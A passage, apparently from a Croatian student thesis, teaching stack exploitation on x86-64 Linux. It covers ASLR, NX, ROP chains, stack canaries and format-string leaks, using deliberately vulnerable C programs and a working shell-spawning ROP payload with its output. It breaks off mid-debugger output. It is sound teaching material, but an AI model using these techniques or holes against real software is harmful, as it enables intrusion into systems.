Kao što vidimo, naš unos uspješno je pokrenuo ljusku operacijskog sustava te zaključujemo da je ovakvu ranjivost, pod određenim uvjetima, vrlo jednostavno iskoristiti te da predstavlja ozbiljni sigurnosni problem. Iako se možda pokretanje ljuske operacijskog sustava iz programa kojeg smo mi sami pokrenuli, pod korisničkim računom nad kojem svakako imamo sve potrebne privilegije, možda ne čini kao veliki sigurnosni problem – važno je uzeti u obzir da pravi rizik od ovakvog napada postoji kada ovakvom programu npr. pristupamo preko interneta na udaljenom računalu ili kada je, na primjer, proces programa pokrenut od strane više privilegiranog korisnika.

3.1.1. ASLR – Address Space Layout Randomization

Kada bismo pokrenuli prethodni primjer izvan debuggera te unijeli prethodno konstruirani unos za pokretanje ljuske, možda bi se iznenadili kada bi program zapravo završio signalnom `SIGSEGV`, bez pokretanja ljuske. Razlog tome je tzv. Address Space Layout Randomization (kraće ASLR), sigurnosni mehanizam koji značajno otežava iskorištavanje jednostavnih memorijskih ranjivosti programa izvršnog koda. Glavna ideja takvog mehanizma je postavljanje svih memorijskih segmenta nekog procesa na nasumične bazične adrese, poput segmenta podataka, programskog koda, hrpe, dijeljenih datoteka, statičnih varijabli i slično. Naime, takav mehanizam onemogućuje napadaču da jednostavno upravlja memorijom te da, na primjer, "skoči" na određenu memorijsku lokaciju, zato jer su bazične memorijske adrese gotovo svih segmenta nasumične, s velikom razinom entropije. Upravo to je razlog zašto prethodni primjer ne radi izvan debuggera, dok je ASLR omogućen (GNU debugger privremeno onemogućava ASLR pokrenutug programa). Gotovo na svim modernim GNU/Linux sustavima ASLR je omogućen. Na Linux operacijskim sustavim, postakve ASLR-a jednostavno možemo provjeriti komandom `cat /proc/sys/kernel/randomize_va_space`. Vrijednost 0 znači da je ASLR u potpunosti onemogućen, vrijednost 1 znači da su omogućene nasumične bazične adrese stoga, hrpe, učitanih biblioteka u dijeljenim segmentima, tzv. VDSO te dodatni memorijski segmenti alocirani `mmap` pozivima. Vrijednost 2 dodatno randomizira i memoriju koja se upravlja `brk` pozivima, za promjenu veličine (odnosno kraja) `data` segmenta. [8] Naime, iako ovakav sigurnosni mehanizam svakako pridodaje cijeloj sigurnosti programa izvršnog koda, sam po sebi nije dovoljan kako bi osigurao potpunu sigurnost programa. [9] Na GNU/Linux operacijskim sustavima ASLR je implementiran već od 2005. godine te je na gotovo svim distribucijama umogućen po zadanim

postavkama, doduše na različitim razinama.

3.1.2. NX bit

No-eXecute bit (kraće NX bit), ali i tzv. Data Execution Prevention (kraće DEP) nazivi su za relativno slične sigurnosne mehanizme koji pokušavaju spriječiti jednostavno izvršavanja proizvoljnog koda (eng. shellcode). Naime, operacijski sustava koji podržava NX bit može označiti određene memorijske regije/segmente programa kao segmente na kojima nije dozvoljeno izvršavanje programskog koda, odnosno instrukcija. U tom slučaju, ukoliko napadač ili nekakav maliciozan program uspije ubaciti svoj programski kod putem npr. preljeva spremnika te pokuša promijeniti tok izvođenja programa kako bih izvršio svoj, proizvoljan kod, procesor će prepoznati da se radi o memorijskoj stranici s koje nije dozvoljeno izvršavati instrukcije te će završiti program (uz pretpostavku da je taj memorijski segment ima postavljen NX bit). Drugim riječima, svrha ovog sigurnosnog mehanizma je sprječavanje izvršavanja proizvoljnog koda koji se izvorno ne nalazi u izvršnoj datoteci. Također, važno je napomenuti da na starijim Linux operacijskim sustavima stog nije imao sekciju unutar ELF izvršne datoteke te samim time, ograničavanje izvršavanja instrukcija sa stoga nije bilo moguće. [10] Naime, NX bit pristuan je isključivo kada se koristi Generalni princip je jednostavan, ili je na memorijski segment dozvoljeno zapisivati podatke ili izvršavati podatke koje se nalaze u tom memorijskom segmentu, ali nikako oboje. Gotovo svi noviji kompajleri automatski označavaju određene memorijske segmente (poput stoga) kao segmente s kojih nije dozvoljeno izvršavanje programskog koda. Iako nam NX bit onemogućava izvršavanje vlastitog programskog koda na memorijskim segmentima na kojima to nije dozvoljeno, još uvijek postoje načini na koje možemo promijeniti tijek izvršavanja koda, što nam je, u nekim slučajevima, sasvim dovoljno kako bismo iskoristili određene sigurnosne ranjivosti.

Pristunost ovakvog mehanizma možemo provjeriti naredbom `readelf -W -l ime_programa`, koja ispisuje informacije o segmentima ELF izvršne datoteke.

```
[laki stack]$ readelf -W -l simple_overflow_shellcode

Elf file type is EXEC (Executable file)
Entry point 0x401060
There are 11 program headers, starting at offset 64

Program Headers:
  Type           Offset   VirtAddr           PhysAddr           FileSiz  MemSiz
     Flg Align
  PHDR           0x000040 0x0000000000400040 0x0000000000400040 0x000268 0x000268 R
       0x8
  INTERP         0x0002a8 0x00000000004002a8 0x00000000004002a8 0x00001c 0x00001c R
       0x1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
  LOAD           0x000000 0x0000000000400000 0x0000000000400000 0x000588 0x000588 R
       0x1000
  LOAD           0x001000 0x0000000000401000 0x0000000000401000 0x000225 0x000225 R
     E 0x1000
  LOAD           0x002000 0x0000000000402000 0x0000000000402000 0x000150 0x000150 R
```

```
      0x1000
  LOAD           0x002e00 0x0000000000403e00 0x0000000000403e00 0x000240 0x000250 RW
      0x1000
  DYNAMIC        0x002e10 0x0000000000403e10 0x0000000000403e10 0x0001d0 0x0001d0 RW
      0x8
  NOTE           0x0002c4 0x00000000004002c4 0x00000000004002c4 0x000044 0x000044 R
      0x4
  GNU_EH_FRAME   0x002028 0x0000000000402028 0x0000000000402028 0x00003c 0x00003c R
      0x4
  GNU_STACK      0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000
    RWE 0x10
  GNU_RELRO      0x002e00 0x0000000000403e00 0x0000000000403e00 0x000200 0x000200 R
      0x1

 Section to Segment mapping:
  Segment Sections...
   00
   01     .interp
   02     .interp .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.
      version .gnu.version_r .rela.dyn .rela.plt
   03     .init .plt .text .fini
   04     .rodata .eh_frame_hdr .eh_frame
   05     .init_array .fini_array .dynamic .got .got.plt .data .bss
   06     .dynamic
   07     .note.gnu.build-id .note.ABI-tag
   08     .eh_frame_hdr
   09
   10     .init_array .fini_array .dynamic .got
```

Ako provjerimo segmente prethodnog primjera, jasno vidimo da segment `GNU_STACK` ima dopuštenja `RWE`, odnosno da na taj segment imamo mogućnost zapisivanja, čitanja, ali i izvršavanja podataka.

3.2. ROP – Return Oriented Programming

U slučaju gdje imamo sigurnosnu ranjivost kojom možemo promijeniti tijek izvođenja programa (poput preljeva spremnika na stogu ili format string ranjivosti, o kojoj ćemo više kasnije), a ne možemo izvršiti vlastiti proizvoljan kod (eng. shellcode), možemo iskoristiti tzv. ROP lance, odnosno programiranje orijentirano na prepisivanju povratnih adresa funkcija. To nam omogućuje korištenje dijelova programskog koda koji se već nalaze u izvršnoj datoteci na način na koji možemo iskoristiti ranjivost programa i na primjer, pokrenuti ljusku operacijskog sustava, bilo to jednostanvo pozivanje funkcije koja se već nalazi u programu, ali koju inače ne bismo uspjeli pozvati ili spajanje različitih instrukcija unutar različitih funkcija kako bismo promijenili tijek izvođenja programa na neki drugi način. Princip je sljedeći – u programskom kodu tražimo set od nekoliko korisnih instrukcija koje završavaju instrukcijom `ret` te koristeći pronađene djelove koda pokušavamo "sklopiti" nekakvu vrstu proizvoljnog koda, koji će promijeniti tijek programa na neki nama koristan način. [11] To nam omogućava izvršavanje gotovo proizvoljnog koda koristeći `ret` instrukcije kako bismo skakali po različitim dijelovima programskog koda.

Ovu tehniku najjednostavnije je objasniti na primjeru. Stoga, u ovom primjeru također ćemo pokušati pozvati ljusku operacijskog sustava, ali ovaj put, bez korištenja tzv. shellcode-a. Programski kod je sljedeći:

```
#include <stdio.h>
#include <stdlib.h>

const char putanjaLjuske[] = "/bin/sh";

void prikaziDatoteke(){
    system("ls");
}

int main(){
    char ime[50];
    printf("Unesite svoje ime: ");
    fflush(stdin);
    gets(ime);
    printf("Pozdrav, %s\n", ime);
    return 0;

}
```

Program kompajliramo se sličnim zastavicama kao prethodni put. Koristimo zastavicu `-fno-stack-protector`, kako bismo isključili tzv. stack canary, koji ćemo pobliže objasniti kasnije. Također, koristimo zastavicu `-no-pie`, kako bismo onemogućili nasumične adrese programskog koda u virtualnoj memoriji. [3]

Primjer prikazuje jednostavan unos imena korisnika, gdje se koristi nesigurna `gets` funkcija za unos imena te je program samim time ranjiv na preljev spremnika na stogu. Također, primjer sadrži jednu dodatnu funkciju koja se nigdje ne poziva, funkcija `prikaziDatoteke` koja unutar sebe sadrži samo poziv funkcije `system` iz C standardne biblioteke, sa argumentom `ls` kako bi ispisala lista sadržaj trenutnog direktorija. Nadalje, program sadrži globalnu varijablu `putanjaLjuske` koja sadrži putanju ljuske operacijskog sustava. Naime, cilj nam je pozvati funkciju `system` koja se poziva iz funkcije `prikaziDatoteke`, ali na način da pokrenemo ljusku operacijskog sustava. Iako ovaj primjer sam po sebi nije naizgled koristan, on prikazuje realan scenarij kakav bi se mogao naći u nešto kompleksnijem programu, u kojem se nalazi string `/bin/sh`, a gdje se i u nekom dijelu programa poziva funkcija `system` iz C standardne biblioteke. Kako bismo uspješno iskoristili ranjivost u ovom primjeru, potrebno zamijeniti argument poziva funkcije `system` sa globalnom varijablom `putanjaLjuske`.

Najprije je potrebno razumjeti način na koji se, na x86-64 arhitekturama u Linux operacijskim sustavima, argumenti proslijeđuju funkciji. Na x86-64 arhitekturi na Linux operacijskim sustavima koristi se tzv. System V AMD64 ABI (eng. Application Binary Interface). Prema tom standardu, cijelobrojni podaci, kao i pokazivači proslijeđuju se redom u registrima `rdi`, `rsi`, `rdx`, `rcx`, `r8` i `r9`, dok se za brojeve s pomičnom točkom (eng. floating point) koriste se registri `xmm0` do `xmm7`. Glavni registar za povratne vrijednost iz funkcija je `rax`. [7] Stoga, jednostavno možemo zaključiti da će se jedini argument funkciji `system` proslijediti koristeći registar `rdi` u kojem će biti sadržana memorijska lokacija (pokazivač) stringu `ls`. To možemo provjeriti rastavljanjem

funkcije `prikaziDatoteke` koristeći, na primjer, GNU debugger.

```
gdb-peda$ disassemble prikaziDatoteke
Dump of assembler code for function prikaziDatoteke:
   0x0000000000401156 <+0>:     push   rbp
   0x0000000000401157 <+1>:     mov    rbp,rsp
   0x000000000040115a <+4>:     lea    rdi,[rip+0xeaf]        # 0x402010
   0x0000000000401161 <+11>:    mov    eax,0x0
=> 0x0000000000401166 <+16>:    call   0x401030 <system@plt>
   0x000000000040116b <+21>:    nop
   0x000000000040116c <+22>:    pop    rbp
   0x000000000040116d <+23>:    ret
End of assembler dump.
gdb-peda$ x/s 0x402010
0x402010:       "ls"
```

Zaključujemo da, kako bismo pozvali funkciju `system` s argumentom `/bin/sh`, memorijsku adresu varijable `putanjaLjuske` moramo postaviti u registar `rdi` te nakon toga pozvati funkciju `system` iz C standardne biblioteke.

Kako bismo postavili željeni argument funkciji `system`, moramo pronaći dio koda sadržan u našem izvršnom programu koji bi nam omogućio postavljanje vrijednosti `rdi` registra, prije nego li pozovemo funkciju `system`. Ideja je pronaći dio koda s kojim možemo postaviti argumente funkcije, a koji završava instrukcijom `ret`, kako bismo potom mogli "skočiti" na lokaciju za poziv funkcije `system`. Alat `rop-tool` služi upravo pronalasku takvih korisnih dijelova koda unutar `.text` sekcije izvršnog programa. Jednostavnom komandom `rop-tool gadget rop -primjer` program će nam pronaći sve isječke programskog koda koje se sastoje od nekoliko instrukcija nakon kojih slijedi `rop` instrukcija unutar izvršne datoteke, za koje alat misli da bi mogli biti korisni,.

```
[laki stack]$ rop-tool gadget rop-primjer
Looking gadgets, please wait...
 0x000000000040101a -> ret ;
 0x000000000040122c -> pop r12; pop r13; pop r14; pop r15; ret ;
 0x000000000040122d -> pop rsp; pop r13; pop r14; pop r15; ret ;
 0x0000000000401116 -> add byte ptr [rax], al; ret ;
 0x00000000004010ce -> jmp rax; ret ;
 0x00000000004011c0 -> add byte ptr [rax], al; add byte ptr [rax], al; leave ; ret ;
 0x00000000004010ce -> jmp rax;
 0x000000000040113b -> add byte ptr [rcx], al; pop rbp; ret ;
 0x00000000004011c2 -> add byte ptr [rax], al; leave ; ret ;
 0x0000000000401232 -> pop r15; ret ;
 0x0000000000401230 -> pop r14; pop r15; ret ;
 0x000000000040122e -> pop r13; pop r14; pop r15; ret ;
 0x000000000040122f -> pop rbp; pop r14; pop r15; ret ;
 0x0000000000401014 -> call rax;
 0x00000000004011c4 -> leave ; ret ;
 0x0000000000401233 -> pop rdi; ret ;
 0x000000000040113d -> pop rbp; ret ;
 0x0000000000401231 -> pop rsi; pop r15; ret ;
18 gadgets found.
```

Vrlo brzo uočavamo jedan vrlo koristan isječak programskog koda za ovaj scenarij – na lokaciji `0x0000000000401233` nalazi se instrukcija `pop rdi`, nakon koje slijedi `ret` instrukcija. To znači da bismo jednostavno mogli postaviti memorijsku lokaciju stringa `putanjaLjuske` na stog te ju instrukcijom `pop rdi` pohraniti u registar `rdi`. Također, u GNU debuggeru možemo vidjeti da se taj isječak koda zapravo nalazi u funkciji `__libc_csu_init`, koja postavlja okruženje za izvršavanje glavnog dijela programa.

```
gdb-peda$ info symbol 0x0000000000401233
__libc_csu_init + 99 in section .text of /home/laki/Documents/Faks/zavrsni/primjeri/
    stack/rop-primjer
```

Stoga, nakon što dosegnemo povratnu adresu za `main` funkciju, na stog moramo postaviti redom sljedeće vrijednosti:

- Memorijsku lokaciju pronađenog isječka koda unutar funkcije `__libc_csu_init`
- Memorijsku lokaciju stringa `putanjaLjuske`, koju želimo smjestiti u `rdi` registar
- Memorijsku lokaciju poziva funkcije `system` unutar funkcije `prikaziDatoteke`.

Memorijsku lokaciju stringa `putanjaLjuske` možemo pronaći na različite načine. Na primjer, možemo koristiti alat `radare2` kako bismo analizirali izvršnu datoteku nakon čega možemo ispisati sve simbole i stringove unutar izvršne datoteke naredbom `izz` ili možemo koristiti GNU debugger kako bismo ispisali memorijsku lokaciju poznate varijable.

```
gdb-peda$ print (char*)&putanjaLjuske
$3 = 0x402008 <putanjaLjuske> "/bin/sh"
```

Na jednak način kao u prethdnom primjeru ispitujemo koliko nam je bajtova potrebno kako bismo dosegli prvu povratnu adresu te uočavamo da nam je ponovno potrebno 72 bajta. Također, prilikom izrade unosa ponovno moramo uzeti u obzir da je x86 tzv. little-endian arhitektura te da bajtove moramo unijeti u obrnutom redoslijedu.

Konačno, unos programa nam je sljedeći:

- 72 bajta proizvoljnih znakova, kako bismo dosegli memorijsku adresu na stogu koja se koristi za prvu `ret` instrukciju
- Memorijska lokacija pronađenog isječka koda unutar funkcije `__libc_csu_init` koji sadrži `pop rdi` instrukciju
  `0x0000000000401233`
- Memorijska lokacija stringa `putanjaLjuske`, koju je potrebno smjesiti u `rdi` registar
  `0x0000000000402008`
- Memorijska lokacija poziva funkciji `system` unutar funkcije `prikaziDatoteke`
  `0x0000000000401166`

Nakon što spojimo sve elemente ulaza, možemo vidjeti da smo uspješno iskoristili ranjivost preljeva spremnika koristeći tzv. ROP lance.

```
[laki stack]$ (ragg2 -P 72 -r; echo -ne '\x33\x12\x40\x00\x00\x00\x00\x00'; echo -e
    '\x08\x20\x40\x00\x00\x00\x00\x00\x66\x11\x40\x00\x00\x00\x00\x00'; cat -) | ./
    rop-primjer
Unesite svoje ime: Pozdrav,
    AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAA3@
uname -a
Linux TheDex 5.2.10-1-MANJARO #1 SMP PREEMPT Sun Aug 25 16:12:12 UTC 2019 x86-64 GNU
    /Linux
```

3.2.1. Provjera integriteta povratne adrese – stack canary

Kako smo se u prethodnim primjerima oslanjali na prepisivanje povratne adrese funkcije za promjenu toka programa, možemo zaključit da je mogućnost prepisivanja povratne adrese na stogu veliki sigurnosni problem. Kako bi iskorištavanje ovakvih ranjivosti bilo znatno teže, koriste se tzv. canary vrijednosti. Kada se nalaze na stogu, canary vrijednosti predstavljaju nasumično generirane vrijednosti koje se nalaze neposredno prije povratne adrese funkcije na stogu. Prije izlaska iz funkcije, `XOR` operacijom provjerava se "integritet" te vrijednosti, tj. provjerava se je li tzv. canary vrijednost na stogu promijenjena. [12] Ako se vrijednost promijenila, program se terminira SIGABRT signalom. Kako se ta nasumično generirana vrijednost nalazi neposredno prije povratne adrese funkcije, važno je napomenuti da, u ovom slučaju, ovaj sigurnosni mehanizam pokušava spriječiti isključivo prepisivanje povratne adrese funkcije, dok preljev spremnika još uvijek može prepisati neke ostale podatke na stogu, koji se nalaze prije tzv. canary vrijednosti.

Kompajliramo li prethodni primjer bez dodatne zastavice `-fno-stack-protector` koja onemogućava ovaj sigurnosni mehanizam, možemo vidjeti da više nismo u mogućnosti pokrenuti ljusku operacijskog sustava, jer se program terminira već prilikom izlaza iz `main` funkcije.

```
[laki stack]$ (ragg2 -P 72 -r; echo -ne '\x33\x12\x40\x00\x00\x00\x00\x00'; echo -e
    '\x08\x20\x40\x00\x00\x00\x00\x00\x66\x11\x40\x00\x00\x00\x00\x00'; cat -) | ./
    rop-primjer
Unesite svoje ime: Pozdrav,
    AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAA3@
*** stack smashing detected ***: <unknown> terminated
```

Također, ako rastavimo `main` funkciju u GDB debuggeru, jasno možemo vidjeti provjeru tzv. stack canary vrijednosti.

```
gdb-peda$ disas main
Dump of assembler code for function main:
   0x000000000040117e <+0>:     push   rbp
   0x000000000040117f <+1>:     mov    rbp,rsp
=> 0x0000000000401182 <+4>:     sub    rsp,0x40
   0x0000000000401186 <+8>:     mov    rax,QWORD PTR fs:0x28
   0x000000000040118f <+17>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000401193 <+21>:    xor    eax,eax
   0x0000000000401195 <+23>:    lea    rdi,[rip+0xe77]        # 0x402013
   0x000000000040119c <+30>:    mov    eax,0x0
   0x00000000004011a1 <+35>:    call   0x401050 <printf@plt>
```

```
   0x00000000004011a6 <+40>:    mov    rax,QWORD PTR [rip+0x2ea3]        # 0x404050
       <stdin@@GLIBC_2.2.5>
   0x00000000004011ad <+47>:    mov    rdi,rax
   0x00000000004011b0 <+50>:    call   0x401070 <fflush@plt>
   0x00000000004011b5 <+55>:    lea    rax,[rbp-0x40]
   0x00000000004011b9 <+59>:    mov    rdi,rax
   0x00000000004011bc <+62>:    mov    eax,0x0
   0x00000000004011c1 <+67>:    call   0x401060 <gets@plt>
   0x00000000004011c6 <+72>:    lea    rax,[rbp-0x40]
   0x00000000004011ca <+76>:    mov    rsi,rax
   0x00000000004011cd <+79>:    lea    rdi,[rip+0xe53]        # 0x402027
   0x00000000004011d4 <+86>:    mov    eax,0x0
   0x00000000004011d9 <+91>:    call   0x401050 <printf@plt>
   0x00000000004011de <+96>:    mov    eax,0x0
   0x00000000004011e3 <+101>:   mov    rdx,QWORD PTR [rbp-0x8]
   0x00000000004011e7 <+105>:   xor    rdx,QWORD PTR fs:0x28
   0x00000000004011f0 <+114>:   je     0x4011f7 <main+121>
   0x00000000004011f2 <+116>:   call   0x401030 <__stack_chk_fail@plt>
   0x00000000004011f7 <+121>:   leave
   0x00000000004011f8 <+122>:   ret
End of assembler dump.
```

Jasno vidimo dodatni kod koji se generirao kada smo omogućili provjeru tzv. canary vrijednosti. Naime, na određenom pomaku u FS segmentnom registru nalazi se nasumično generirana canary vrijednost, koja se prilikom ulaska u funkciju premješta na stog, na mjesto `rbp+0x8`, neposredno prije povratne adrese funkcije. Na kraju funkcije, ta ista vrijednost na stogu uspoređuje se ponovno sa prethodno generiranom nasumičnom canary vrijednošću koja se nalazi u FS segmentnom registru. Ako je `XOR` operacija nad tim vrijednostima jednaka nuli (odnosno ako su vrijednosti jednake), program nastavlja normalno. U suprotnom, program poziva `__stack_chk_fail` funkciju, koja konačno završava program signalom `SIGABRT`.

3.3. Ranjivosti formatiranih stringova

Formatirani stringovi omogućavaju nam jednostavno formatiranje teksta, prema specificiranom predošku. Formatirani stringovi postoje u gotovo svim modernim programskim jezicima, a vrlo često uz sebe vežu i neke moguće ranjivosti. Naime, u C programskom jeziku, funkcija za formatiranje teksta zahtjeva predložak (koji najčešće sadrži oznake načina ispisa određenih parametara, tj. varijabli), te varijabilan broj parametra koji bi trebao odgovarati broju oznaka (eng. *specifier*) u predlošku. U C programskom jeziku, sve funkcije iz C standardne biblioteke koje završavaju sufiksom `printf` označavaju rad s formatiranim tekstom. Najčešća takva funkcija je upravo `printf`, koja formatirani tekst ispisuje na standardni izlaz. Postoji mnoštvo različitih oznaka kojima se može formatirati određeni tekst, poput oznake `%s` za string tip podatka, oznake `%d` ili `%i` za cijelobrojni tip podatka, oznake `%x` za heksadecimalnu reprezentaciju proslijeđenog parametra, `%p` za ispis memorijske adrese/pokazivača u heksadecimalnom obliku i slično. Također, osim oznaka za vrstu reprezentacije podatka, mogu se naći i različite druge oznake, poput duljine podatka, prefiska i slično. [13]

Naime, na problem nailazimo kada u predošku nekakve `printf` imamo više oznaka nego li ostalih proslijeđenih varijabli za formatirani ispis. Naime, u tom slučaju, `printf` počinje ispisivati redom podatke sa stoga, prema zadanom formatu u oznaci u predlošku. To, prije svega, predstavlja ozbiljan sigurnosti problem "curenja" podatka sa stoga, odnosno ispisivanje potencijalno "osjetljivih" podataka sa stoga, koje korisnik možda ne bi smio znati. Upravo na taj sigurnosni propust nailazimo kada korisniku u potpunosti prepustimo kontrolu nad predloškom, što se događa iznenađujuće često. Naime, kada želimo formatirati tekst kojeg kontrolira korisnik programa, vrlo često imamo ideju samo pozvati `printf(korisnikov_unos)`, a kada korisnik kontrolira string koji se proslijeđuje predošku funkcije `printf` dolazi do ozbiljnog sigurnosnog propusta. Kao što smo već prethodno napomenuli, na stogu se vrlo često nalaze i ostali podaci koji pokušavaju osigurati sveukupnu sigurnost aplikacije, poput tzv. canary vrijednosti, ali i pokazivača na različite memorijske lokacije, što gotovo u potpunosti poništava svhru nasumičnih adresa virtualnog adresnog prostora. Također, u C programskom jeziku, funkcije za formatirani ispis također imaju mogućnost zapisivanja podataka u memoriju, o kojoj ćemo više kasnije.

Ponovno, ovakav sigurnosni problem "curenja" podataka sa stoga najlakše je objasniti na primjeru. Ovaj primjer također ćemo kompajlirati sa svim sigurnosnim mehanizmima koji su uključeni po zadanim postavkama, a pokrećemo ga na sustavu gdje je ASLR omogućen na razini 2. Primjer prikazuje program koji je ranjiv na napade nad formatiranim stringovima, kao i na preljev spremnika na stogu, a cilj nam je pronaći način iskorištavanja ovih ranjivosti kako bismo dobili gotovo potpunu kontrolu nad tijekom izvršavanja programa.

```
#include <stdio.h>
#include <stdlib.h>

void exec(char *cmd){
    printf("Izvrsavam - %s!\n", cmd);
    system(cmd);
}

int main(int argc, char **argv){
    char spremnik[50];

    if(argc < 2){
        fprintf(stderr, "Nedostaje argument!\n");
        return 0;
    }

    printf(argv[1]);
    fflush(stdout);

    gets(spremnik);

    return 0;
}
```

Program kompajliramo sljedećom naredbom – `gcc format-string.c -o format-string` . Možemo vidjeti da, ovaj put, nismo proslijedili nikakve dodatne zastavice kompajleru kako bismo isključili neke sigurnosne mehanizme, odnosno provjere. Korištenjem alata `rabin2` iz

paketa `radare2` možemo vidjeti neke informacije o izvršnoj datoteki te sigurnosti iste.

```
[laki format-string]$ rabin2 -I format-string
arch     x86
baddr    0x0
binsz    15064
bintype  elf
bits     64
canary   true
class    ELF64
compiler GCC: (GNU) 9.1.0
crypto   false
endian   little
havecode true
intrp    /lib64/ld-linux-x86-64.so.2
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  AMD x86-64 architecture
maxopsz  16
minopsz  1
nx       true
os       linux
pcalign  0
pic      true
relocs   true
relro    partial
rpath    NONE
sanitiz  false
static   false
stripped false
subsys   linux
va       true
[laki format-string]$ cat /proc/sys/kernel/randomize_va_space
2
```

Kao što vidimo, stog ima postavljen NX bit, nasumične adrese programskog koda u virtualnoj memoriji su uključene te je ASLR uključen na razini 2, koji generira nasumične bazične adrese za gotovo sve segmente, uključujući stog. Možemo zaključiti da, kako bismo uspješno iskoristili ranjivosti ovog programa, moramo zaobići NX bit, ASLR, nasumične adrese programskog koda (`pic/pie`) i canary vrijednost na stogu. Postoji cijeli niz načina na koji bismo mogli iskoristiti ranjivosti ovog programa, ali u ovom primjeru pokušati ćemo prikazati najjednostavniji način primjenjiv u ovom slučaju. Program prima jedan argument komandne linije te njega ispisuje na standardni izlaz funkcijom `printf`, bez korištenja predložaka. Nakon toga, funkcijom `gets` program zatražuje korisnikov unos te ga pohranjuje u spremnik na stogu veličine 50 bajtova. Također, program sadrži funkciju `exec`, koja se u ovom primjeru nigdje ne poziva, a prima jedan argument, kojeg ispisuje i prosljeđuje funkciji `system`. Naravno, cilj nam je pozvati funkciju `exec` sa argumentom `/bin/sh` kako bismo pozvali ljusku operacijskog sustava. Važno je napomenuti da je, u ovom primjeru, ljusku operacijskog sustava moguće pozvati i bez `exec` funkcije, ali se ona tu nalazi zbog jednostavnosti procesa iskorištavanja ove ranjivosti, kao i

objašnjavanja iste.

Program možemo pokrenuti sa nizom oznaka tipa `%p`, koje će vrijednosti sa stoga ispisivati u obliku pokazivača, što nam je najjednostavniji način kako bismo ispisali 64bitne vrijednosti koje se nalaze na stogu, iako te vrijednosti nisu možda uistinu pokazivači.

```
[laki format-string]$ ./format-string '%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
    .%p.%p.%p.%p'
0x7ffd1809ccc8.0x7ffd1809cce0.0x7f3434696578.0x7f34346988b0.0x7f34346f2960.0
    x7ffd1809ccc8.0x23457fba5.(nil).0x5583a437d2ad.(nil).(nil).0x5583a437d260.0
    x5583a437d090.0x7ffd1809ccc0.0x17264e2bb378b400.0x5583a437d260.0x7f3434500ee3.(
    nil).0x7ffd1809ccc8
```

Kao što vidimo, ispisali smo niz vrijednosti koje se nalaze na stogu te vrlo brzo možemo uočiti da smo uspjeli dohvatiti puno pokazivača na različite memorijske adrese, neke naizgled nasumične podatke, ali i naš unos u heksadecimalnoj reprezentaciji. Program ponovno možemo ponovno pokrenuti u GNU debuggeru i za svaku od ispisanih vrijednosti saznati što predstavljaju te koje od ispisanih vrijednosti bi nam pomogle prilikom iskorištavanja ove ranjivosti. Kako bismo uspješno iskoristili ovu ranjivost, potrebna nam je adresa spremnika na stogu, canary vrijednost te vrijednost (odnosno memorijska lokacija) povratne adrese `main` funkcije, kako bismo mogli izračunati ostale potrebne adrese.

```
gdb-peda$ disas main
Dump of assembler code for function main:
   0x00005555555551c1 <+0>:     push   rbp
   0x00005555555551c2 <+1>:     mov    rbp,rsp
   0x00005555555551c5 <+4>:     sub    rsp,0x50
   0x00005555555551c9 <+8>:     mov    DWORD PTR [rbp-0x44],edi
   0x00005555555551cc <+11>:    mov    QWORD PTR [rbp-0x50],rsi
   0x00005555555551d0 <+15>:    mov    rax,QWORD PTR fs:0x28
   0x00005555555551d9 <+24>:    mov    QWORD PTR [rbp-0x8],rax
   0x00005555555551dd <+28>:    xor    eax,eax
   0x00005555555551df <+30>:    cmp    DWORD PTR [rbp-0x44],0x1
   0x00005555555551e3 <+34>:    jg     0x55555555520c <main+75>
   0x00005555555551e5 <+36>:    mov    rax,QWORD PTR [rip+0x2e94]        # 0
       x555555558080 <stderr@@GLIBC_2.2.5>
   0x00005555555551ec <+43>:    mov    rcx,rax
   0x00005555555551ef <+46>:    mov    edx,0x14
   0x00005555555551f4 <+51>:    mov    esi,0x1
   0x00005555555551f9 <+56>:    lea    rdi,[rip+0xe15]        # 0x555555556015
   0x0000555555555200 <+63>:    call   0x555555555080 <fwrite@plt>
   0x0000555555555205 <+68>:    mov    eax,0x0
   0x000055555555520a <+73>:    jmp    0x555555555249 <main+136>
   0x000055555555520c <+75>:    mov    rax,QWORD PTR [rbp-0x50]
   0x0000555555555210 <+79>:    add    rax,0x8
   0x0000555555555214 <+83>:    mov    rax,QWORD PTR [rax]
   0x0000555555555217 <+86>:    mov    rdi,rax
   0x000055555555521a <+89>:    mov    eax,0x0
   0x000055555555521f <+94>:    call   0x555555555050 <printf@plt>
   0x0000555555555224 <+99>:    mov    rax,QWORD PTR [rip+0x2e35]        # 0
       x555555558060 <stdout@@GLIBC_2.2.5>
   0x000055555555522b <+106>:   mov    rdi,rax
   0x000055555555522e <+109>:   call   0x555555555070 <fflush@plt>
```

```
   0x0000555555555233 <+114>:   lea    rax,[rbp-0x40]
   0x0000555555555237 <+118>:   mov    rdi,rax
   0x000055555555523a <+121>:   mov    eax,0x0
   0x000055555555523f <+126>:   call   0x555555555060 <gets@plt>
   0x0000555555555244 <+131>:   mov    eax,0x0
   0x0000555555555249 <+136>:   mov    rdx,QWORD PTR [rbp-0x8]
   0x000055555555524d <+140>:   xor    rdx,QWORD PTR fs:0x28
   0x0000555555555256 <+149>:   je     0x55555555525d <main+156>
   0x0000555555555258 <+151>:   call   0x555555555030 <__stack_chk_fail@plt>
   0x000055555555525d <+156>:   leave
   0x000055555555525e <+157>:   ret
End of assembler dump.
gdb-peda$ b* 0x0000555555555244
Breakpoint 1 at 0x555555555244
gdb-peda$ r '%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'
Starting program: /home/laki/Documents/Faks/zavrsni/primjeri/format-string/format-
    string '%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'
0x7fffffffe588.0x7fffffffe5a0.0x7ffff7f82578.0x7ffff7f848b0.0x7ffff7fe2960.0
    x7fffffffe588.0x2f7e6bba5.(nil).0x5555555552ad.(nil).(nil).0x555555555260.0
    x555555555090.0x7fffffffe580.0xaf8343f838deb600.0x555555555260.0x7ffff7decee3.(
